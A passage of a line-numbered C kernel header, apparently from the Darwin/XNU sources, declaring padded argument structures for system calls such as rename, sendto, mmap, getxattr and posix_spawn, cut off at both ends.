mode_r_[PADR_(int)]; 443 | }; 444 | struct setreuid_args { 445 | char ruid_l_[PADL_(uid_t)]; uid_t ruid; char ruid_r_[PADR_(uid_t)]; 446 | char euid_l_[PADL_(uid_t)]; uid_t euid; char euid_r_[PADR_(uid_t)]; 447 | }; 448 | struct setregid_args { 449 | char rgid_l_[PADL_(gid_t)]; gid_t rgid; char rgid_r_[PADR_(gid_t)]; 450 | char egid_l_[PADL_(gid_t)]; gid_t egid; char egid_r_[PADR_(gid_t)]; 451 | }; 452 | struct rename_args { 453 | char from_l_[PADL_(user_addr_t)]; user_addr_t from; char from_r_[PADR_(user_addr_t)]; 454 | char to_l_[PADL_(user_addr_t)]; user_addr_t to; char to_r_[PADR_(user_addr_t)]; 455 | }; 456 | struct flock_args { 457 | char fd_l_[PADL_(int)]; int fd; char fd_r_[PADR_(int)]; 458 | char how_l_[PADL_(int)]; int how; char how_r_[PADR_(int)]; 459 | }; 460 | struct mkfifo_args { 461 | char path_l_[PADL_(user_addr_t)]; user_addr_t path; char path_r_[PADR_(user_addr_t)]; 462 | char mode_l_[PADL_(int)]; int mode; char mode_r_[PADR_(int)]; 463 | }; 464 | #if SOCKETS 465 | struct sendto_args { 466 | char s_l_[PADL_(int)]; int s; char s_r_[PADR_(int)]; 467 | char buf_l_[PADL_(user_addr_t)]; user_addr_t buf; char buf_r_[PADR_(user_addr_t)]; 468 | char len_l_[PADL_(user_size_t)]; user_size_t len; char len_r_[PADR_(user_size_t)]; 469 | char flags_l_[PADL_(int)]; int flags; char flags_r_[PADR_(int)]; 470 | char to_l_[PADL_(user_addr_t)]; user_addr_t to; char to_r_[PADR_(user_addr_t)]; 471 | char tolen_l_[PADL_(socklen_t)]; socklen_t tolen; char tolen_r_[PADR_(socklen_t)]; 472 | }; 473 | struct shutdown_args { 474 | char s_l_[PADL_(int)]; int s; char s_r_[PADR_(int)]; 475 | char how_l_[PADL_(int)]; int how; char how_r_[PADR_(int)]; 476 | }; 477 | struct socketpair_args { 478 | char domain_l_[PADL_(int)]; int domain; char domain_r_[PADR_(int)]; 479 | char type_l_[PADL_(int)]; int type; char type_r_[PADR_(int)]; 480 | char protocol_l_[PADL_(int)]; int protocol; char protocol_r_[PADR_(int)]; 481 | char rsv_l_[PADL_(user_addr_t)]; user_addr_t rsv; char rsv_r_[PADR_(user_addr_t)]; 482 | }; 483 | #else 484 | #endif /* SOCKETS */ 485 | struct mkdir_args { 486 | char path_l_[PADL_(user_addr_t)]; user_addr_t path; char path_r_[PADR_(user_addr_t)]; 487 | char mode_l_[PADL_(int)]; int mode; char mode_r_[PADR_(int)]; 488 | }; 489 | struct rmdir_args { 490 | char path_l_[PADL_(user_addr_t)]; user_addr_t path; char path_r_[PADR_(user_addr_t)]; 491 | }; 492 | struct utimes_args { 493 | char path_l_[PADL_(user_addr_t)]; user_addr_t path; char path_r_[PADR_(user_addr_t)]; 494 | char tptr_l_[PADL_(user_addr_t)]; user_addr_t tptr; char tptr_r_[PADR_(user_addr_t)]; 495 | }; 496 | struct futimes_args { 497 | char fd_l_[PADL_(int)]; int fd; char fd_r_[PADR_(int)]; 498 | char tptr_l_[PADL_(user_addr_t)]; user_addr_t tptr; char tptr_r_[PADR_(user_addr_t)]; 499 | }; 500 | struct adjtime_args { 501 | char delta_l_[PADL_(user_addr_t)]; user_addr_t delta; char delta_r_[PADR_(user_addr_t)]; 502 | char olddelta_l_[PADL_(user_addr_t)]; user_addr_t olddelta; char olddelta_r_[PADR_(user_addr_t)]; 503 | }; 504 | struct gethostuuid_args { 505 | char uuid_buf_l_[PADL_(user_addr_t)]; user_addr_t uuid_buf; char uuid_buf_r_[PADR_(user_addr_t)]; 506 | char timeoutp_l_[PADL_(user_addr_t)]; user_addr_t timeoutp; char timeoutp_r_[PADR_(user_addr_t)]; 507 | char spi_l_[PADL_(int)]; int spi; char spi_r_[PADR_(int)]; 508 | }; 509 | struct setsid_args { 510 | int32_t dummy; 511 | }; 512 | struct getpgid_args { 513 | char pid_l_[PADL_(pid_t)]; pid_t pid; char pid_r_[PADR_(pid_t)]; 514 | }; 515 | struct setprivexec_args { 516 | char flag_l_[PADL_(int)]; int flag; char flag_r_[PADR_(int)]; 517 | }; 518 | struct pread_args { 519 | char fd_l_[PADL_(int)]; int fd; char fd_r_[PADR_(int)]; 520 | char buf_l_[PADL_(user_addr_t)]; user_addr_t buf; char buf_r_[PADR_(user_addr_t)]; 521 | char nbyte_l_[PADL_(user_size_t)]; user_size_t nbyte; char nbyte_r_[PADR_(user_size_t)]; 522 | char offset_l_[PADL_(off_t)]; off_t offset; char offset_r_[PADR_(off_t)]; 523 | }; 524 | struct pwrite_args { 525 | char fd_l_[PADL_(int)]; int fd; char fd_r_[PADR_(int)]; 526 | char buf_l_[PADL_(user_addr_t)]; user_addr_t buf; char buf_r_[PADR_(user_addr_t)]; 527 | char nbyte_l_[PADL_(user_size_t)]; user_size_t nbyte; char nbyte_r_[PADR_(user_size_t)]; 528 | char offset_l_[PADL_(off_t)]; off_t offset; char offset_r_[PADR_(off_t)]; 529 | }; 530 | #if NFSSERVER 531 | struct nfssvc_args { 532 | char flag_l_[PADL_(int)]; int flag; char flag_r_[PADR_(int)]; 533 | char argp_l_[PADL_(user_addr_t)]; user_addr_t argp; char argp_r_[PADR_(user_addr_t)]; 534 | }; 535 | #else 536 | #endif 537 | struct statfs_args { 538 | char path_l_[PADL_(user_addr_t)]; user_addr_t path; char path_r_[PADR_(user_addr_t)]; 539 | char buf_l_[PADL_(user_addr_t)]; user_addr_t buf; char buf_r_[PADR_(user_addr_t)]; 540 | }; 541 | struct fstatfs_args { 542 | char fd_l_[PADL_(int)]; int fd; char fd_r_[PADR_(int)]; 543 | char buf_l_[PADL_(user_addr_t)]; user_addr_t buf; char buf_r_[PADR_(user_addr_t)]; 544 | }; 545 | struct unmount_args { 546 | char path_l_[PADL_(user_addr_t)]; user_addr_t path; char path_r_[PADR_(user_addr_t)]; 547 | char flags_l_[PADL_(int)]; int flags; char flags_r_[PADR_(int)]; 548 | }; 549 | #if NFSSERVER 550 | struct getfh_args { 551 | char fname_l_[PADL_(user_addr_t)]; user_addr_t fname; char fname_r_[PADR_(user_addr_t)]; 552 | char fhp_l_[PADL_(user_addr_t)]; user_addr_t fhp; char fhp_r_[PADR_(user_addr_t)]; 553 | }; 554 | #else 555 | #endif 556 | struct quotactl_args { 557 | char path_l_[PADL_(user_addr_t)]; user_addr_t path; char path_r_[PADR_(user_addr_t)]; 558 | char cmd_l_[PADL_(int)]; int cmd; char cmd_r_[PADR_(int)]; 559 | char uid_l_[PADL_(int)]; int uid; char uid_r_[PADR_(int)]; 560 | char arg_l_[PADL_(user_addr_t)]; user_addr_t arg; char arg_r_[PADR_(user_addr_t)]; 561 | }; 562 | struct mount_args { 563 | char type_l_[PADL_(user_addr_t)]; user_addr_t type; char type_r_[PADR_(user_addr_t)]; 564 | char path_l_[PADL_(user_addr_t)]; user_addr_t path; char path_r_[PADR_(user_addr_t)]; 565 | char flags_l_[PADL_(int)]; int flags; char flags_r_[PADR_(int)]; 566 | char data_l_[PADL_(user_addr_t)]; user_addr_t data; char data_r_[PADR_(user_addr_t)]; 567 | }; 568 | struct csops_args { 569 | char pid_l_[PADL_(pid_t)]; pid_t pid; char pid_r_[PADR_(pid_t)]; 570 | char ops_l_[PADL_(uint32_t)]; uint32_t ops; char ops_r_[PADR_(uint32_t)]; 571 | char useraddr_l_[PADL_(user_addr_t)]; user_addr_t useraddr; char useraddr_r_[PADR_(user_addr_t)]; 572 | char usersize_l_[PADL_(user_size_t)]; user_size_t usersize; char usersize_r_[PADR_(user_size_t)]; 573 | }; 574 | struct csops_audittoken_args { 575 | char pid_l_[PADL_(pid_t)]; pid_t pid; char pid_r_[PADR_(pid_t)]; 576 | char ops_l_[PADL_(uint32_t)]; uint32_t ops; char ops_r_[PADR_(uint32_t)]; 577 | char useraddr_l_[PADL_(user_addr_t)]; user_addr_t useraddr; char useraddr_r_[PADR_(user_addr_t)]; 578 | char usersize_l_[PADL_(user_size_t)]; user_size_t usersize; char usersize_r_[PADR_(user_size_t)]; 579 | char uaudittoken_l_[PADL_(user_addr_t)]; user_addr_t uaudittoken; char uaudittoken_r_[PADR_(user_addr_t)]; 580 | }; 581 | struct waitid_args { 582 | char idtype_l_[PADL_(idtype_t)]; idtype_t idtype; char idtype_r_[PADR_(idtype_t)]; 583 | char id_l_[PADL_(id_t)]; id_t id; char id_r_[PADR_(id_t)]; 584 | char infop_l_[PADL_(user_addr_t)]; user_addr_t infop; char infop_r_[PADR_(user_addr_t)]; 585 | char options_l_[PADL_(int)]; int options; char options_r_[PADR_(int)]; 586 | }; 587 | struct kdebug_trace_args { 588 | char code_l_[PADL_(int)]; int code; char code_r_[PADR_(int)]; 589 | char arg1_l_[PADL_(int)]; int arg1; char arg1_r_[PADR_(int)]; 590 | char arg2_l_[PADL_(int)]; int arg2; char arg2_r_[PADR_(int)]; 591 | char arg3_l_[PADL_(int)]; int arg3; char arg3_r_[PADR_(int)]; 592 | char arg4_l_[PADL_(int)]; int arg4; char arg4_r_[PADR_(int)]; 593 | char arg5_l_[PADL_(int)]; int arg5; char arg5_r_[PADR_(int)]; 594 | }; 595 | struct setgid_args { 596 | char gid_l_[PADL_(gid_t)]; gid_t gid; char gid_r_[PADR_(gid_t)]; 597 | }; 598 | struct setegid_args { 599 | char egid_l_[PADL_(gid_t)]; gid_t egid; char egid_r_[PADR_(gid_t)]; 600 | }; 601 | struct seteuid_args { 602 | char euid_l_[PADL_(uid_t)]; uid_t euid; char euid_r_[PADR_(uid_t)]; 603 | }; 604 | struct sigreturn_args { 605 | char uctx_l_[PADL_(user_addr_t)]; user_addr_t uctx; char uctx_r_[PADR_(user_addr_t)]; 606 | char infostyle_l_[PADL_(int)]; int infostyle; char infostyle_r_[PADR_(int)]; 607 | }; 608 | struct chud_args { 609 | char code_l_[PADL_(uint64_t)]; uint64_t code; char code_r_[PADR_(uint64_t)]; 610 | char arg1_l_[PADL_(uint64_t)]; uint64_t arg1; char arg1_r_[PADR_(uint64_t)]; 611 | char arg2_l_[PADL_(uint64_t)]; uint64_t arg2; char arg2_r_[PADR_(uint64_t)]; 612 | char arg3_l_[PADL_(uint64_t)]; uint64_t arg3; char arg3_r_[PADR_(uint64_t)]; 613 | char arg4_l_[PADL_(uint64_t)]; uint64_t arg4; char arg4_r_[PADR_(uint64_t)]; 614 | char arg5_l_[PADL_(uint64_t)]; uint64_t arg5; char arg5_r_[PADR_(uint64_t)]; 615 | }; 616 | struct fdatasync_args { 617 | char fd_l_[PADL_(int)]; int fd; char fd_r_[PADR_(int)]; 618 | }; 619 | struct stat_args { 620 | char path_l_[PADL_(user_addr_t)]; user_addr_t path; char path_r_[PADR_(user_addr_t)]; 621 | char ub_l_[PADL_(user_addr_t)]; user_addr_t ub; char ub_r_[PADR_(user_addr_t)]; 622 | }; 623 | struct fstat_args { 624 | char fd_l_[PADL_(int)]; int fd; char fd_r_[PADR_(int)]; 625 | char ub_l_[PADL_(user_addr_t)]; user_addr_t ub; char ub_r_[PADR_(user_addr_t)]; 626 | }; 627 | struct lstat_args { 628 | char path_l_[PADL_(user_addr_t)]; user_addr_t path; char path_r_[PADR_(user_addr_t)]; 629 | char ub_l_[PADL_(user_addr_t)]; user_addr_t ub; char ub_r_[PADR_(user_addr_t)]; 630 | }; 631 | struct pathconf_args { 632 | char path_l_[PADL_(user_addr_t)]; user_addr_t path; char path_r_[PADR_(user_addr_t)]; 633 | char name_l_[PADL_(int)]; int name; char name_r_[PADR_(int)]; 634 | }; 635 | struct fpathconf_args { 636 | char fd_l_[PADL_(int)]; int fd; char fd_r_[PADR_(int)]; 637 | char name_l_[PADL_(int)]; int name; char name_r_[PADR_(int)]; 638 | }; 639 | struct getrlimit_args { 640 | char which_l_[PADL_(u_int)]; u_int which; char which_r_[PADR_(u_int)]; 641 | char rlp_l_[PADL_(user_addr_t)]; user_addr_t rlp; char rlp_r_[PADR_(user_addr_t)]; 642 | }; 643 | struct setrlimit_args { 644 | char which_l_[PADL_(u_int)]; u_int which; char which_r_[PADR_(u_int)]; 645 | char rlp_l_[PADL_(user_addr_t)]; user_addr_t rlp; char rlp_r_[PADR_(user_addr_t)]; 646 | }; 647 | struct getdirentries_args { 648 | char fd_l_[PADL_(int)]; int fd; char fd_r_[PADR_(int)]; 649 | char buf_l_[PADL_(user_addr_t)]; user_addr_t buf; char buf_r_[PADR_(user_addr_t)]; 650 | char count_l_[PADL_(u_int)]; u_int count; char count_r_[PADR_(u_int)]; 651 | char basep_l_[PADL_(user_addr_t)]; user_addr_t basep; char basep_r_[PADR_(user_addr_t)]; 652 | }; 653 | struct mmap_args { 654 | char addr_l_[PADL_(user_addr_t)]; user_addr_t addr; char addr_r_[PADR_(user_addr_t)]; 655 | char len_l_[PADL_(user_size_t)]; user_size_t len; char len_r_[PADR_(user_size_t)]; 656 | char prot_l_[PADL_(int)]; int prot; char prot_r_[PADR_(int)]; 657 | char flags_l_[PADL_(int)]; int flags; char flags_r_[PADR_(int)]; 658 | char fd_l_[PADL_(int)]; int fd; char fd_r_[PADR_(int)]; 659 | char pos_l_[PADL_(off_t)]; off_t pos; char pos_r_[PADR_(off_t)]; 660 | }; 661 | struct lseek_args { 662 | char fd_l_[PADL_(int)]; int fd; char fd_r_[PADR_(int)]; 663 | char offset_l_[PADL_(off_t)]; off_t offset; char offset_r_[PADR_(off_t)]; 664 | char whence_l_[PADL_(int)]; int whence; char whence_r_[PADR_(int)]; 665 | }; 666 | struct truncate_args { 667 | char path_l_[PADL_(user_addr_t)]; user_addr_t path; char path_r_[PADR_(user_addr_t)]; 668 | char length_l_[PADL_(off_t)]; off_t length; char length_r_[PADR_(off_t)]; 669 | }; 670 | struct ftruncate_args { 671 | char fd_l_[PADL_(int)]; int fd; char fd_r_[PADR_(int)]; 672 | char length_l_[PADL_(off_t)]; off_t length; char length_r_[PADR_(off_t)]; 673 | }; 674 | struct sysctl_args { 675 | char name_l_[PADL_(user_addr_t)]; user_addr_t name; char name_r_[PADR_(user_addr_t)]; 676 | char namelen_l_[PADL_(u_int)]; u_int namelen; char namelen_r_[PADR_(u_int)]; 677 | char old_l_[PADL_(user_addr_t)]; user_addr_t old; char old_r_[PADR_(user_addr_t)]; 678 | char oldlenp_l_[PADL_(user_addr_t)]; user_addr_t oldlenp; char oldlenp_r_[PADR_(user_addr_t)]; 679 | char new_l_[PADL_(user_addr_t)]; user_addr_t new; char new_r_[PADR_(user_addr_t)]; 680 | char newlen_l_[PADL_(user_size_t)]; user_size_t newlen; char newlen_r_[PADR_(user_size_t)]; 681 | }; 682 | struct mlock_args { 683 | char addr_l_[PADL_(user_addr_t)]; user_addr_t addr; char addr_r_[PADR_(user_addr_t)]; 684 | char len_l_[PADL_(user_size_t)]; user_size_t len; char len_r_[PADR_(user_size_t)]; 685 | }; 686 | struct munlock_args { 687 | char addr_l_[PADL_(user_addr_t)]; user_addr_t addr; char addr_r_[PADR_(user_addr_t)]; 688 | char len_l_[PADL_(user_size_t)]; user_size_t len; char len_r_[PADR_(user_size_t)]; 689 | }; 690 | struct undelete_args { 691 | char path_l_[PADL_(user_addr_t)]; user_addr_t path; char path_r_[PADR_(user_addr_t)]; 692 | }; 693 | struct open_dprotected_np_args { 694 | char path_l_[PADL_(user_addr_t)]; user_addr_t path; char path_r_[PADR_(user_addr_t)]; 695 | char flags_l_[PADL_(int)]; int flags; char flags_r_[PADR_(int)]; 696 | char class_l_[PADL_(int)]; int class; char class_r_[PADR_(int)]; 697 | char dpflags_l_[PADL_(int)]; int dpflags; char dpflags_r_[PADR_(int)]; 698 | char mode_l_[PADL_(int)]; int mode; char mode_r_[PADR_(int)]; 699 | }; 700 | struct getattrlist_args { 701 | char path_l_[PADL_(user_addr_t)]; user_addr_t path; char path_r_[PADR_(user_addr_t)]; 702 | char alist_l_[PADL_(user_addr_t)]; user_addr_t alist; char alist_r_[PADR_(user_addr_t)]; 703 | char attributeBuffer_l_[PADL_(user_addr_t)]; user_addr_t attributeBuffer; char attributeBuffer_r_[PADR_(user_addr_t)]; 704 | char bufferSize_l_[PADL_(user_size_t)]; user_size_t bufferSize; char bufferSize_r_[PADR_(user_size_t)]; 705 | char options_l_[PADL_(user_ulong_t)]; user_ulong_t options; char options_r_[PADR_(user_ulong_t)]; 706 | }; 707 | struct setattrlist_args { 708 | char path_l_[PADL_(user_addr_t)]; user_addr_t path; char path_r_[PADR_(user_addr_t)]; 709 | char alist_l_[PADL_(user_addr_t)]; user_addr_t alist; char alist_r_[PADR_(user_addr_t)]; 710 | char attributeBuffer_l_[PADL_(user_addr_t)]; user_addr_t attributeBuffer; char attributeBuffer_r_[PADR_(user_addr_t)]; 711 | char bufferSize_l_[PADL_(user_size_t)]; user_size_t bufferSize; char bufferSize_r_[PADR_(user_size_t)]; 712 | char options_l_[PADL_(user_ulong_t)]; user_ulong_t options; char options_r_[PADR_(user_ulong_t)]; 713 | }; 714 | struct getdirentriesattr_args { 715 | char fd_l_[PADL_(int)]; int fd; char fd_r_[PADR_(int)]; 716 | char alist_l_[PADL_(user_addr_t)]; user_addr_t alist; char alist_r_[PADR_(user_addr_t)]; 717 | char buffer_l_[PADL_(user_addr_t)]; user_addr_t buffer; char buffer_r_[PADR_(user_addr_t)]; 718 | char buffersize_l_[PADL_(user_size_t)]; user_size_t buffersize; char buffersize_r_[PADR_(user_size_t)]; 719 | char count_l_[PADL_(user_addr_t)]; user_addr_t count; char count_r_[PADR_(user_addr_t)]; 720 | char basep_l_[PADL_(user_addr_t)]; user_addr_t basep; char basep_r_[PADR_(user_addr_t)]; 721 | char newstate_l_[PADL_(user_addr_t)]; user_addr_t newstate; char newstate_r_[PADR_(user_addr_t)]; 722 | char options_l_[PADL_(user_ulong_t)]; user_ulong_t options; char options_r_[PADR_(user_ulong_t)]; 723 | }; 724 | struct exchangedata_args { 725 | char path1_l_[PADL_(user_addr_t)]; user_addr_t path1; char path1_r_[PADR_(user_addr_t)]; 726 | char path2_l_[PADL_(user_addr_t)]; user_addr_t path2; char path2_r_[PADR_(user_addr_t)]; 727 | char options_l_[PADL_(user_ulong_t)]; user_ulong_t options; char options_r_[PADR_(user_ulong_t)]; 728 | }; 729 | struct searchfs_args { 730 | char path_l_[PADL_(user_addr_t)]; user_addr_t path; char path_r_[PADR_(user_addr_t)]; 731 | char searchblock_l_[PADL_(user_addr_t)]; user_addr_t searchblock; char searchblock_r_[PADR_(user_addr_t)]; 732 | char nummatches_l_[PADL_(user_addr_t)]; user_addr_t nummatches; char nummatches_r_[PADR_(user_addr_t)]; 733 | char scriptcode_l_[PADL_(uint32_t)]; uint32_t scriptcode; char scriptcode_r_[PADR_(uint32_t)]; 734 | char options_l_[PADL_(uint32_t)]; uint32_t options; char options_r_[PADR_(uint32_t)]; 735 | char state_l_[PADL_(user_addr_t)]; user_addr_t state; char state_r_[PADR_(user_addr_t)]; 736 | }; 737 | struct delete_args { 738 | char path_l_[PADL_(user_addr_t)]; user_addr_t path; char path_r_[PADR_(user_addr_t)]; 739 | }; 740 | struct copyfile_args { 741 | char from_l_[PADL_(user_addr_t)]; user_addr_t from; char from_r_[PADR_(user_addr_t)]; 742 | char to_l_[PADL_(user_addr_t)]; user_addr_t to; char to_r_[PADR_(user_addr_t)]; 743 | char mode_l_[PADL_(int)]; int mode; char mode_r_[PADR_(int)]; 744 | char flags_l_[PADL_(int)]; int flags; char flags_r_[PADR_(int)]; 745 | }; 746 | struct fgetattrlist_args { 747 | char fd_l_[PADL_(int)]; int fd; char fd_r_[PADR_(int)]; 748 | char alist_l_[PADL_(user_addr_t)]; user_addr_t alist; char alist_r_[PADR_(user_addr_t)]; 749 | char attributeBuffer_l_[PADL_(user_addr_t)]; user_addr_t attributeBuffer; char attributeBuffer_r_[PADR_(user_addr_t)]; 750 | char bufferSize_l_[PADL_(user_size_t)]; user_size_t bufferSize; char bufferSize_r_[PADR_(user_size_t)]; 751 | char options_l_[PADL_(user_ulong_t)]; user_ulong_t options; char options_r_[PADR_(user_ulong_t)]; 752 | }; 753 | struct fsetattrlist_args { 754 | char fd_l_[PADL_(int)]; int fd; char fd_r_[PADR_(int)]; 755 | char alist_l_[PADL_(user_addr_t)]; user_addr_t alist; char alist_r_[PADR_(user_addr_t)]; 756 | char attributeBuffer_l_[PADL_(user_addr_t)]; user_addr_t attributeBuffer; char attributeBuffer_r_[PADR_(user_addr_t)]; 757 | char bufferSize_l_[PADL_(user_size_t)]; user_size_t bufferSize; char bufferSize_r_[PADR_(user_size_t)]; 758 | char options_l_[PADL_(user_ulong_t)]; user_ulong_t options; char options_r_[PADR_(user_ulong_t)]; 759 | }; 760 | struct poll_args { 761 | char fds_l_[PADL_(user_addr_t)]; user_addr_t fds; char fds_r_[PADR_(user_addr_t)]; 762 | char nfds_l_[PADL_(u_int)]; u_int nfds; char nfds_r_[PADR_(u_int)]; 763 | char timeout_l_[PADL_(int)]; int timeout; char timeout_r_[PADR_(int)]; 764 | }; 765 | struct watchevent_args { 766 | char u_req_l_[PADL_(user_addr_t)]; user_addr_t u_req; char u_req_r_[PADR_(user_addr_t)]; 767 | char u_eventmask_l_[PADL_(int)]; int u_eventmask; char u_eventmask_r_[PADR_(int)]; 768 | }; 769 | struct waitevent_args { 770 | char u_req_l_[PADL_(user_addr_t)]; user_addr_t u_req; char u_req_r_[PADR_(user_addr_t)]; 771 | char tv_l_[PADL_(user_addr_t)]; user_addr_t tv; char tv_r_[PADR_(user_addr_t)]; 772 | }; 773 | struct modwatch_args { 774 | char u_req_l_[PADL_(user_addr_t)]; user_addr_t u_req; char u_req_r_[PADR_(user_addr_t)]; 775 | char u_eventmask_l_[PADL_(int)]; int u_eventmask; char u_eventmask_r_[PADR_(int)]; 776 | }; 777 | struct getxattr_args { 778 | char path_l_[PADL_(user_addr_t)]; user_addr_t path; char path_r_[PADR_(user_addr_t)]; 779 | char attrname_l_[PADL_(user_addr_t)]; user_addr_t attrname; char attrname_r_[PADR_(user_addr_t)]; 780 | char value_l_[PADL_(user_addr_t)]; user_addr_t value; char value_r_[PADR_(user_addr_t)]; 781 | char size_l_[PADL_(user_size_t)]; user_size_t size; char size_r_[PADR_(user_size_t)]; 782 | char position_l_[PADL_(uint32_t)]; uint32_t position; char position_r_[PADR_(uint32_t)]; 783 | char options_l_[PADL_(int)]; int options; char options_r_[PADR_(int)]; 784 | }; 785 | struct fgetxattr_args { 786 | char fd_l_[PADL_(int)]; int fd; char fd_r_[PADR_(int)]; 787 | char attrname_l_[PADL_(user_addr_t)]; user_addr_t attrname; char attrname_r_[PADR_(user_addr_t)]; 788 | char value_l_[PADL_(user_addr_t)]; user_addr_t value; char value_r_[PADR_(user_addr_t)]; 789 | char size_l_[PADL_(user_size_t)]; user_size_t size; char size_r_[PADR_(user_size_t)]; 790 | char position_l_[PADL_(uint32_t)]; uint32_t position; char position_r_[PADR_(uint32_t)]; 791 | char options_l_[PADL_(int)]; int options; char options_r_[PADR_(int)]; 792 | }; 793 | struct setxattr_args { 794 | char path_l_[PADL_(user_addr_t)]; user_addr_t path; char path_r_[PADR_(user_addr_t)]; 795 | char attrname_l_[PADL_(user_addr_t)]; user_addr_t attrname; char attrname_r_[PADR_(user_addr_t)]; 796 | char value_l_[PADL_(user_addr_t)]; user_addr_t value; char value_r_[PADR_(user_addr_t)]; 797 | char size_l_[PADL_(user_size_t)]; user_size_t size; char size_r_[PADR_(user_size_t)]; 798 | char position_l_[PADL_(uint32_t)]; uint32_t position; char position_r_[PADR_(uint32_t)]; 799 | char options_l_[PADL_(int)]; int options; char options_r_[PADR_(int)]; 800 | }; 801 | struct fsetxattr_args { 802 | char fd_l_[PADL_(int)]; int fd; char fd_r_[PADR_(int)]; 803 | char attrname_l_[PADL_(user_addr_t)]; user_addr_t attrname; char attrname_r_[PADR_(user_addr_t)]; 804 | char value_l_[PADL_(user_addr_t)]; user_addr_t value; char value_r_[PADR_(user_addr_t)]; 805 | char size_l_[PADL_(user_size_t)]; user_size_t size; char size_r_[PADR_(user_size_t)]; 806 | char position_l_[PADL_(uint32_t)]; uint32_t position; char position_r_[PADR_(uint32_t)]; 807 | char options_l_[PADL_(int)]; int options; char options_r_[PADR_(int)]; 808 | }; 809 | struct removexattr_args { 810 | char path_l_[PADL_(user_addr_t)]; user_addr_t path; char path_r_[PADR_(user_addr_t)]; 811 | char attrname_l_[PADL_(user_addr_t)]; user_addr_t attrname; char attrname_r_[PADR_(user_addr_t)]; 812 | char options_l_[PADL_(int)]; int options; char options_r_[PADR_(int)]; 813 | }; 814 | struct fremovexattr_args { 815 | char fd_l_[PADL_(int)]; int fd; char fd_r_[PADR_(int)]; 816 | char attrname_l_[PADL_(user_addr_t)]; user_addr_t attrname; char attrname_r_[PADR_(user_addr_t)]; 817 | char options_l_[PADL_(int)]; int options; char options_r_[PADR_(int)]; 818 | }; 819 | struct listxattr_args { 820 | char path_l_[PADL_(user_addr_t)]; user_addr_t path; char path_r_[PADR_(user_addr_t)]; 821 | char namebuf_l_[PADL_(user_addr_t)]; user_addr_t namebuf; char namebuf_r_[PADR_(user_addr_t)]; 822 | char bufsize_l_[PADL_(user_size_t)]; user_size_t bufsize; char bufsize_r_[PADR_(user_size_t)]; 823 | char options_l_[PADL_(int)]; int options; char options_r_[PADR_(int)]; 824 | }; 825 | struct flistxattr_args { 826 | char fd_l_[PADL_(int)]; int fd; char fd_r_[PADR_(int)]; 827 | char namebuf_l_[PADL_(user_addr_t)]; user_addr_t namebuf; char namebuf_r_[PADR_(user_addr_t)]; 828 | char bufsize_l_[PADL_(user_size_t)]; user_size_t bufsize; char bufsize_r_[PADR_(user_size_t)]; 829 | char options_l_[PADL_(int)]; int options; char options_r_[PADR_(int)]; 830 | }; 831 | struct fsctl_args { 832 | char path_l_[PADL_(user_addr_t)]; user_addr_t path; char path_r_[PADR_(user_addr_t)]; 833 | char cmd_l_[PADL_(user_ulong_t)]; user_ulong_t cmd; char cmd_r_[PADR_(user_ulong_t)]; 834 | char data_l_[PADL_(user_addr_t)]; user_addr_t data; char data_r_[PADR_(user_addr_t)]; 835 | char options_l_[PADL_(u_int)]; u_int options; char options_r_[PADR_(u_int)]; 836 | }; 837 | struct initgroups_args { 838 | char gidsetsize_l_[PADL_(u_int)]; u_int gidsetsize; char gidsetsize_r_[PADR_(u_int)]; 839 | char gidset_l_[PADL_(user_addr_t)]; user_addr_t gidset; char gidset_r_[PADR_(user_addr_t)]; 840 | char gmuid_l_[PADL_(int)]; int gmuid; char gmuid_r_[PADR_(int)]; 841 | }; 842 | struct posix_spawn_args { 843 | char pid_l_[PADL_(user_addr_t)]; user_addr_t pid; char pid_r_[PADR_(user_addr_t)]; 844 | char path_l_[PADL_(user_addr_t)]; user_addr_t path; char path_r_[PADR_(user_addr_t)]; 845 | char adesc_l_[PADL_(user_addr_t)]; user_addr_t adesc; char adesc_r_[PADR_(user_addr_t)]; 846 | char argv_l_[PADL_(user_addr_t)]; user_addr_t argv; char argv_r_[PADR_(user_addr_t)]; 847 | char envp_l_[PADL_(user_addr_t)]; user_addr_t envp; char envp_r_[PADR_(user_addr_t)]; 848 | }; 849 | struct ffsctl_args { 850 | char fd_l_[PADL_(int)]; int fd; char fd_r_[PADR_(int)]; 851 | char cmd_l_[PADL_(user_ulong_t)]; user_ulong_t cmd; char cmd_r_[PADR_(user_ulong_t)]; 852 | char data_l_[PADL_(user_addr_t)]; user_addr_t data; char data_r_[PADR_(user_addr_t)]; 853 | char options_l_[PADL_(u_int)]; u_int options; char options_r_[PADR_(u_int)]; 854 | }; 855 | #if NFSCLIENT 856 | struct nfsclnt_args { 857 | char flag_l_[PADL_(int)]; int flag; char flag_r_[PADR_(int)]; 858 | char argp_l_[PADL_(user_addr_t)]; user_addr_t argp; char argp_r_[PADR_(user_addr_t)]; 859 | }; 860 | #else 861 | #endif 862 | #if NFSSERVER 863 | struct fhopen_args { 864 | char u_fhp_l_[PADL_(user_addr_t)]; user_addr_t u_fhp; char u_fhp_r_[PADR_(user_addr_t)]; 865 | char flags_l_[PADL_(int)]; int flags; char flags_r_[PADR_(int)]; 866 | }; 867 | #else 868 | #endif 869 | struct minherit_args { 870 | char addr_l_[PADL_(user_addr_t)]; user_addr_t addr; char addr_r_[PADR_(user_addr_t)]; 871 | char len_l_[PADL_(user_size_t)]; user_size_t len; char len_r_[PADR_(user_size_t)]; 872 | char inherit_l_[PADL_(int)]; int inherit; char inherit_r_[PADR_(int)]; 873 | }; 874 | #if SYSV_SEM 875 | struct semsys_args { 876 | char which_l_[PADL_(u_int)]; u_int which; char which_r_[PADR_(u_int)]; 877 | char a2_l_[PADL_(int)]; int a2; char a2_r_[PADR_(int)]; 878 | char a3_l_[PADL_(int)]; int a3; char a3_r_[PADR_(int)]; 879 | char a4_l_[PADL_(int)]; int a4; char a4_r_[PADR_(int)]; 880 | char a5_l_[PADL_(int)]; int a5; char a5_r_[PADR_(int)]; 881 | }; 882 | #else 883 | #endif 884 | #if SYSV_MSG 885 | struct msgsys_args { 886 | char which_l_[PADL_(u_int)]; u_int which; char which_r_[PADR_(u_int)]; 887 | char a2_l_[PADL_(int)]; int a2; char a2_r_[PADR_(int)]; 888 | char a3_l_[PADL_(int)]; int a3; char a3_r_[PADR_(int)]; 889 | char a4_l_[PADL_(int)]; int a4; char a4_r_[PADR_(int)]; 890 | char a5_l_[PADL_(int)]; int a5; char a5_r_[PADR_(int)]; 891 | }; 892 | #else 893 | #endif 894 | #if SYSV_SHM 895 | struct shmsys_args { 896 | char which_l_[PADL_(u_int)]; u_int which; char which_r_[PADR_(u_int)]; 897 | char a2_l_[PADL_(int)]; int a2; char a2_r_[PADR_(int)]; 898 | char 